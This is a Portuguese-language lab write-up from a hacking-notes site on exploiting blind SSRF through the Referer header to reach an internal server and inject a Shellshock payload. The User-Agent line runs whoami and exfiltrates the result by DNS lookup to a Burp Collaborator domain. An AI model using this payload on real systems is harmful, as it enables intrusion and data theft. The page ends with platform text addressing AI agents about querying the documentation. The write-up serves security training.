> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# SSRF Cega Exploradas via Shellshock

### SSRF cega com exploração de Shellshock

Este site usa um módulo de análise que recupera a URL fornecida no cabeçalho **Referer** sempre que uma página de produto é visualizada. / Para resolver o laboratório, você deve desviar essa funcionalidade para realizar uma exploração cega **SSRF** para um servidor interno localizado no intervalo **192.168.0.X** na porta **8080**. / Durante o ataque cego, um payload **Shellshock** deve ser injetado para exfiltrar o nome de usuário do sistema.

#### Observação inicial

Ao visitar uma página de produto, o site realmente envia uma solicitação com base no cabeçalho **Referer**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

Isso confirma que a aplicação entra em contato automaticamente com a URL fornecida neste cabeçalho.

<figure><img src="/files/274aa80bd42e760ffb93d1a24d5866d1d5e8df77" alt=""><figcaption></figcaption></figure>

#### Exploração por SSRF cega

O objetivo é forçar a aplicação a entrar em contato com um host interno:

```
Referer: http://192.168.X:8080
```

Como o serviço interno é vulnerável a **Shellshock**, um payload é injetado no **User-Agent** cabeçalho, que será interpretado pelo servidor de destino.

O payload executa um comando para exfiltrar o `whoami` resultado por meio de uma solicitação DNS enviada para **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="/files/c98481eabb848e0b9ba5dfcc0117d9029750d430" alt=""><figcaption></figcaption></figure>

#### Resultado

Uma consulta DNS aparece no lado do Collaborator, contendo o nome de usuário do sistema. / Neste caso, o usuário retornado é:

<figure><img src="/files/3222a6d13b85cebf9988bfe7e0c05286cd1af350" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
